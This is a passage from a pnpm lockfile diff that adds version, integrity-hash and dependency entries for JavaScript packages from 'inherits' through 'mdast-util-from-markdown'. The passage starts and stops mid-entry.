resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + dev: false + + /inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + dev: false + + /ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + dev: false + + /ini@3.0.1: + resolution: {integrity: sha512-it4HyVAUTKBc6m8e1iXWvXSTdndF7HbdN713+kvLrymxTaU4AUBWrJ4vEooP+V7fexnVD3LKcBshjGGPefSMUQ==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + dev: false + + /intl-messageformat@10.5.8: + resolution: {integrity: sha512-NRf0jpBWV0vd671G5b06wNofAN8tp7WWDogMZyaU8GUAsmbouyvgwmFJI7zLjfAMpm3zK+vSwRP3jzaoIcMbaA==} + dependencies: + '@formatjs/ecma402-abstract': 1.18.0 + '@formatjs/fast-memoize': 2.2.0 + '@formatjs/icu-messageformat-parser': 2.7.3 + tslib: 2.6.2 + dev: false + + /invariant@2.2.4: + resolution: {integrity: sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==} + dependencies: + loose-envify: 1.4.0 + dev: false + + /ipaddr.js@1.9.1: + resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} + engines: {node: '>= 0.10'} + dev: false + + /is-absolute@1.0.0: + resolution: {integrity: sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==} + engines: {node: '>=0.10.0'} + dependencies: + is-relative: 1.0.0 + is-windows: 1.0.2 + dev: false + + /is-alphabetical@1.0.4: + resolution: {integrity: sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==} + dev: false + + /is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + dev: false + + /is-alphanumerical@1.0.4: + resolution: {integrity: sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==} + dependencies: + is-alphabetical: 1.0.4 + is-decimal: 1.0.4 + dev: false + + /is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + dev: false + + /is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + dev: false + + /is-arrayish@0.3.2: + resolution: {integrity: sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==} + dev: false + + /is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + dependencies: + binary-extensions: 2.2.0 + dev: false + + /is-buffer@2.0.5: + resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==} + engines: {node: '>=4'} + dev: false + + /is-core-module@2.13.1: + resolution: {integrity: sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==} + dependencies: + hasown: 2.0.0 + dev: false + + /is-decimal@1.0.4: + resolution: {integrity: sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==} + dev: false + + /is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + dev: false + + /is-docker@2.2.1: + resolution: {integrity: sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==} + engines: {node: '>=8'} + hasBin: true + dev: false + + /is-extendable@0.1.1: + resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} + engines: {node: '>=0.10.0'} + dev: false + + /is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + dev: false + + /is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + dev: false + + /is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + dependencies: + is-extglob: 2.1.1 + dev: false + + /is-hexadecimal@1.0.4: + resolution: {integrity: sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==} + dev: false + + /is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + dev: false + + /is-hotkey@0.1.8: + resolution: {integrity: sha512-qs3NZ1INIS+H+yeo7cD9pDfwYV/jqRh1JG9S9zYrNudkoUQg7OL7ziXqRKu+InFjUIDoP2o6HIkLYMh1pcWgyQ==} + dev: false + + /is-hotkey@0.2.0: + resolution: {integrity: sha512-UknnZK4RakDmTgz4PI1wIph5yxSs/mvChWs9ifnlXsKuXgWmOkY/hAE0H/k2MIqH0RlRye0i1oC07MCRSD28Mw==} + dev: false + + /is-lower-case@2.0.2: + resolution: {integrity: sha512-bVcMJy4X5Og6VZfdOZstSexlEy20Sr0k/p/b2IlQJlfdKAQuMpiv5w2Ccxb8sKdRUNAG1PnHVHjFSdRDVS6NlQ==} + dependencies: + tslib: 2.6.2 + dev: false + + /is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + dev: false + + /is-plain-obj@2.1.0: + resolution: {integrity: sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==} + engines: {node: '>=8'} + dev: false + + /is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + dev: false + + /is-plain-object@2.0.4: + resolution: {integrity: sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==} + engines: {node: '>=0.10.0'} + dependencies: + isobject: 3.0.1 + dev: false + + /is-plain-object@5.0.0: + resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} + engines: {node: '>=0.10.0'} + dev: false + + /is-primitive@3.0.1: + resolution: {integrity: sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==} + engines: {node: '>=0.10.0'} + dev: false + + /is-relative@1.0.0: + resolution: {integrity: sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==} + engines: {node: '>=0.10.0'} + dependencies: + is-unc-path: 1.0.0 + dev: false + + /is-unc-path@1.0.0: + resolution: {integrity: sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==} + engines: {node: '>=0.10.0'} + dependencies: + unc-path-regex: 0.1.2 + dev: false + + /is-unicode-supported@1.3.0: + resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==} + engines: {node: '>=12'} + dev: false + + /is-upper-case@2.0.2: + resolution: {integrity: sha512-44pxmxAvnnAOwBg4tHPnkfvgjPwbc5QIsSstNU+YcJ1ovxVzCWpSGosPJOZh/a1tdl81fbgnLc9LLv+x2ywbPQ==} + dependencies: + tslib: 2.6.2 + dev: false + + /is-windows@1.0.2: + resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} + engines: {node: '>=0.10.0'} + dev: false + + /is-wsl@2.2.0: + resolution: {integrity: sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==} + engines: {node: '>=8'} + dependencies: + is-docker: 2.2.1 + dev: false + + /isarray@1.0.0: + resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} + dev: false + + /isobject@3.0.1: + resolution: {integrity: sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==} + engines: {node: '>=0.10.0'} + dev: false + + /isomorphic-fetch@3.0.0: + resolution: {integrity: sha512-qvUtwJ3j6qwsF3jLxkZ72qCgjMysPzDfeV240JHiGZsANBYd+EEuu35v7dfrJ9Up0Ak07D7GGSkGhCHTqg/5wA==} + dependencies: + node-fetch: 2.7.0(encoding@0.1.13) + whatwg-fetch: 3.6.19 + transitivePeerDependencies: + - encoding + dev: false + + /isomorphic-git@1.25.0: + resolution: {integrity: sha512-F8X7z74gL+jN4bd6qB6a3Z0QQzonWPkiQ3nK/oFWlrc2pIwVM9Uksl3YMFh99ltswsqoCoOthgasybX08/fiGg==} + engines: {node: '>=12'} + hasBin: true + dependencies: + async-lock: 1.4.0 + clean-git-ref: 2.0.1 + crc-32: 1.2.2 + diff3: 0.0.3 + ignore: 5.3.0 + minimisted: 2.0.1 + pako: 1.0.11 + pify: 4.0.1 + readable-stream: 3.6.2 + sha.js: 2.4.11 + simple-get: 4.0.1 + dev: false + + /jiti@1.21.0: + resolution: {integrity: sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==} + hasBin: true + dev: false + + /jose@4.15.4: + resolution: {integrity: sha512-W+oqK4H+r5sITxfxpSU+MMdr/YSWGvgZMQDIsNoBDGGy4i7GBPTtvFKibQzW06n3U3TqHjhvBJsirShsEJ6eeQ==} + dev: false + + /jotai@1.13.1(@babel/core@7.23.5)(react@17.0.2): + resolution: {integrity: sha512-RUmH1S4vLsG3V6fbGlKzGJnLrDcC/HNb5gH2AeA9DzuJknoVxSGvvg8OBB7lke+gDc4oXmdVsaKn/xDUhWZ0vw==} + engines: {node: '>=12.20.0'} + peerDependencies: + '@babel/core': '*' + '@babel/template': '*' + jotai-devtools: '*' + jotai-immer: '*' + jotai-optics: '*' + jotai-redux: '*' + jotai-tanstack-query: '*' + jotai-urql: '*' + jotai-valtio: '*' + jotai-xstate: '*' + jotai-zustand: '*' + react: '>=16.8' + peerDependenciesMeta: + '@babel/core': + optional: true + '@babel/template': + optional: true + jotai-devtools: + optional: true + jotai-immer: + optional: true + jotai-optics: + optional: true + jotai-redux: + optional: true + jotai-tanstack-query: + optional: true + jotai-urql: + optional: true + jotai-valtio: + optional: true + jotai-xstate: + optional: true + jotai-zustand: + optional: true + dependencies: + '@babel/core': 7.23.5 + react: 17.0.2 + dev: false + + /jotai@1.13.1(@babel/core@7.23.5)(react@18.2.0): + resolution: {integrity: sha512-RUmH1S4vLsG3V6fbGlKzGJnLrDcC/HNb5gH2AeA9DzuJknoVxSGvvg8OBB7lke+gDc4oXmdVsaKn/xDUhWZ0vw==} + engines: {node: '>=12.20.0'} + peerDependencies: + '@babel/core': '*' + '@babel/template': '*' + jotai-devtools: '*' + jotai-immer: '*' + jotai-optics: '*' + jotai-redux: '*' + jotai-tanstack-query: '*' + jotai-urql: '*' + jotai-valtio: '*' + jotai-xstate: '*' + jotai-zustand: '*' + react: '>=16.8' + peerDependenciesMeta: + '@babel/core': + optional: true + '@babel/template': + optional: true + jotai-devtools: + optional: true + jotai-immer: + optional: true + jotai-optics: + optional: true + jotai-redux: + optional: true + jotai-tanstack-query: + optional: true + jotai-urql: + optional: true + jotai-valtio: + optional: true + jotai-xstate: + optional: true + jotai-zustand: + optional: true + dependencies: + '@babel/core': 7.23.5 + react: 18.2.0 + dev: false + + /js-sha1@0.6.0: + resolution: {integrity: sha512-01gwBFreYydzmU9BmZxpVk6svJJHrVxEN3IOiGl6VO93bVKYETJ0sIth6DASI6mIFdt7NmfX9UiByRzsYHGU9w==} + dev: false + + /js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + dev: false + + /js-video-url-parser@0.5.1: + resolution: {integrity: sha512-/vwqT67k0AyIGMHAvSOt+n4JfrZWF7cPKgKswDO35yr27GfW4HtjpQVlTx6JLF45QuPm8mkzFHkZgFVnFm4x/w==} + dev: false + + /js-yaml@3.14.1: + resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} + hasBin: true + dependencies: + argparse: 1.0.10 + esprima: 4.0.1 + dev: false + + /js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + dependencies: + argparse: 2.0.1 + dev: false + + /jsesc@2.5.2: + resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==} + engines: {node: '>=4'} + hasBin: true + dev: false + + /json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} + dev: false + + /json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + dev: false + + /json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + dev: false + + /jsonfile@4.0.0: + resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==} + optionalDependencies: + graceful-fs: 4.2.11 + dev: false + + /jsonfile@6.1.0: + resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==} + dependencies: + universalify: 2.0.1 + optionalDependencies: + graceful-fs: 4.2.11 + dev: false + + /jsonpath-plus@6.0.1: + resolution: {integrity: sha512-EvGovdvau6FyLexFH2OeXfIITlgIbgZoAZe3usiySeaIDm5QS+A10DKNpaPBBqqRSZr2HN6HVNXxtwUAr2apEw==} + engines: {node: '>=10.0.0'} + dev: false + + /kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + dev: false + + /kleur@3.0.3: + resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} + engines: {node: '>=6'} + dev: false + + /kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} + dev: false + + /level-codec@10.0.0: + resolution: {integrity: sha512-QW3VteVNAp6c/LuV6nDjg7XDXx9XHK4abmQarxZmlRSDyXYk20UdaJTSX6yzVvQ4i0JyWSB7jert0DsyD/kk6g==} + engines: {node: '>=10'} + dependencies: + buffer: 6.0.3 + dev: false + + /level-concat-iterator@3.1.0: + resolution: {integrity: sha512-BWRCMHBxbIqPxJ8vHOvKUsaO0v1sLYZtjN3K2iZJsRBYtp+ONsY6Jfi6hy9K3+zolgQRryhIn2NRZjZnWJ9NmQ==} + engines: {node: '>=10'} + dependencies: + catering: 2.1.1 + dev: false + + /level-errors@3.0.1: + resolution: {integrity: sha512-tqTL2DxzPDzpwl0iV5+rBCv65HWbHp6eutluHNcVIftKZlQN//b6GEnZDM2CvGZvzGYMwyPtYppYnydBQd2SMQ==} + engines: {node: '>=10'} + dev: false + + /level-read-stream@1.1.0(abstract-level@1.0.3): + resolution: {integrity: sha512-pVRftTUgsJHH3O1o+cXRTZuRGPnTMyuocxpfl+b5L/papZhV810zhunAxn4mgvfDWzqxM5Df76z7C1Y0QQSLBw==} + engines: {node: '>=12'} + peerDependencies: + abstract-level: ^1.0.0 + peerDependenciesMeta: + abstract-level: + optional: true + dependencies: + abstract-level: 1.0.3 + readable-stream: 3.6.2 + dev: false + + /level-supports@2.1.0: + resolution: {integrity: sha512-E486g1NCjW5cF78KGPrMDRBYzPuueMZ6VBXHT6gC7A8UYWGiM14fGgp+s/L1oFfDWSPV/+SFkYCmZ0SiESkRKA==} + engines: {node: '>=10'} + dev: false + + /level-supports@4.0.1: + resolution: {integrity: sha512-PbXpve8rKeNcZ9C1mUicC9auIYFyGpkV9/i6g76tLgANwWhtG2v7I4xNBUlkn3lE2/dZF3Pi0ygYGtLc4RXXdA==} + engines: {node: '>=12'} + dev: false + + /level-transcoder@1.0.1: + resolution: {integrity: sha512-t7bFwFtsQeD8cl8NIoQ2iwxA0CL/9IFw7/9gAjOonH0PWTTiRfY7Hq+Ejbsxh86tXobDQ6IOiddjNYIfOBs06w==} + engines: {node: '>=12'} + dependencies: + buffer: 6.0.3 + module-error: 1.0.2 + dev: false + + /lilconfig@2.1.0: + resolution: {integrity: sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==} + engines: {node: '>=10'} + dev: false + + /lilconfig@3.0.0: + resolution: {integrity: sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==} + engines: {node: '>=14'} + dev: false + + /lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + dev: false + + /linkify-it@3.0.3: + resolution: {integrity: sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==} + dependencies: + uc.micro: 1.0.6 + dev: false + + /locate-path@5.0.0: + resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} + engines: {node: '>=8'} + dependencies: + p-locate: 4.1.0 + dev: false + + /lodash-es@4.17.21: + resolution: {integrity: sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==} + dev: false + + /lodash.castarray@4.4.0: + resolution: {integrity: sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==} + dev: false + + /lodash.get@4.4.2: + resolution: {integrity: sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==} + dev: false + + /lodash.isplainobject@4.0.6: + resolution: {integrity: sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==} + dev: false + + /lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + dev: false + + /lodash.set@4.3.2: + resolution: {integrity: sha512-4hNPN5jlm/N/HLMCO43v8BXKq9Z7QdAGc/VGrRD61w8gN9g/6jF9A4L1pbUgBLCffi0w9VsXfTOij5x8iTyFvg==} + dev: false + + /lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + dev: false + + /log4js@6.9.1: + resolution: {integrity: sha512-1somDdy9sChrr9/f4UlzhdaGfDR2c/SaD2a4T7qEkG4jTS57/B3qmnjLYePwQ8cqWnUHZI0iAKxMBpCZICiZ2g==} + engines: {node: '>=8.0'} + dependencies: + date-format: 4.0.14 + debug: 4.3.4 + flatted: 3.2.9 + rfdc: 1.3.0 + streamroller: 3.1.5 + transitivePeerDependencies: + - supports-color + dev: false + + /longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + dev: false + + /loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + dependencies: + js-tokens: 4.0.0 + dev: false + + /lower-case-first@2.0.2: + resolution: {integrity: sha512-EVm/rR94FJTZi3zefZ82fLWab+GX14LJN4HrWBcuo6Evmsl9hEfnqxgcHCKb9q+mNf6EVdsjx/qucYFIIB84pg==} + dependencies: + tslib: 2.6.2 + dev: false + + /lower-case@2.0.2: + resolution: {integrity: sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==} + dependencies: + tslib: 2.6.2 + dev: false + + /lru-cache@10.0.0: + resolution: {integrity: sha512-svTf/fzsKHffP42sujkO/Rjs37BCIsQVRCeNYIm9WN8rgT7ffoUnRtZCqU+6BqcSBdv8gwJeTz8knJpgACeQMw==} + engines: {node: 14 || >=16.14} + dev: false + + /lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + dependencies: + yallist: 3.1.1 + dev: false + + /lru-cache@6.0.0: + resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==} + engines: {node: '>=10'} + dependencies: + yallist: 4.0.0 + dev: false + + /magic-string@0.27.0: + resolution: {integrity: sha512-8UnnX2PeRAPZuN12svgR9j7M1uWMovg/CEnIwIG0LFkXSJJe4PdfUGiTGl8V9bsBHFUtfVINcSyYxd7q+kx9fA==} + engines: {node: '>=12'} + dependencies: + '@jridgewell/sourcemap-codec': 1.4.15 + dev: false + + /many-level@2.0.0: + resolution: {integrity: sha512-w6CGnOkcA4YQM3uREtivcqYCySpEkxWdC7VdsTksARCc4qKks+Ofs4h+KFKZjxOZkiJtOsjC+3kRa2Op9IBmSw==} + engines: {node: '>=12'} + dependencies: + '@vweevers/length-prefixed-stream': 1.0.0 + abstract-level: 1.0.3 + module-error: 1.0.2 + protocol-buffers-encodings: 1.2.0 + readable-stream: 4.4.2 + dev: false + + /map-cache@0.2.2: + resolution: {integrity: sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==} + engines: {node: '>=0.10.0'} + dev: false + + /markdown-it@12.3.2: + resolution: {integrity: sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==} + hasBin: true + dependencies: + argparse: 2.0.1 + entities: 2.1.0 + linkify-it: 3.0.3 + mdurl: 1.0.1 + uc.micro: 1.0.6 + dev: false + + /markdown-table@3.0.3: + resolution: {integrity: sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==} + dev: false + + /material-colors@1.2.6: + resolution: {integrity: sha512-6qE4B9deFBIa9YSpOc9O0Sgc43zTeVYbgDT5veRKSlB2+ZuHNoVVxA1L/ckMUayV9Ay9y7Z/SZCLcGteW9i7bg==} + dev: false + + /mdast-util-compact@4.1.1: + resolution: {integrity: sha512-h/UFPIkf4ZlJw50k9UC+CkY+/urhFHZB25GXGh0f+kbqSulzZMSEGWeFjAe2jEQsFu9bSjf0s/TdZXsjvtmxIQ==} + dependencies: + '@types/mdast': 3.0.15 + unist-util-visit: 4.1.2 + dev: false + + /mdast-util-directive@2.2.4: + resolution: {integrity: sha512-sK3ojFP+jpj1n7Zo5ZKvoxP1MvLyzVG63+gm40Z/qI00avzdPCYxt7RBMgofwAva9gBjbDBWVRB/i+UD+fUCzQ==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + mdast-util-from-markdown: 1.3.0 + mdast-util-to-markdown: 1.5.0 + parse-entities: 4.0.1 + stringify-entities: 4.0.3 + unist-util-visit-parents: 5.1.3 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-find-and-replace@2.2.2: + resolution: {integrity: sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==} + dependencies: + '@types/mdast': 3.0.15 + escape-string-regexp: 5.0.0 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + dev: false + + /mdast-util-from-markdown@0.8.5: + resolution: {integrity: 